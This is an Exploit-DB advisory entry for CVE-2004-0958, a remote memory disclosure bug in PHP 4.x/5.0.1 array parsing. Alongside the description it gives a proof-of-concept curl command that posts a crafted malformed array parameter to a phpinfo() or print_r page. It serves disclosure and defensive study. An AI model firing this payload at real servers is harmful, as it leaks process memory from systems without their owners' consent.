PHP 4.x/5.0.1 PHP_Variables Remote Memory Disclosure Vulnerability

2004-09-15T00:00:00
ID EDB-ID:24656
Type exploitdb
Reporter Stefano Di Paola
Modified 2004-09-15T00:00:00

Description

PHP 4.x/5.0.1 PHP_Variables Remote Memory Disclosure Vulnerability. CVE-2004-0958. Remote exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/11334/info

A vulnerability is reported to present itself in the array parsing functions of the 'php_variables.c' PHP source file. 

The vulnerability occurs when a PHP script is being used to print URI parameters or data, that are supplied by a third party, into a dynamically generated web page. It is reported that the vulnerable function does not strip certain characters from the user supplied data, this may ultimately be harnessed to manipulate the parsing function into returning regions of process memory to the attacker.

It is reported that this issue only affects PHP versions 4.2.0 and subsequent.

$ curl "http://www.example.com/phpinfo.php" -d `perl -e 'print
"f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

or some php file containing print_r function:
<?
print_r($_REQUEST);
?>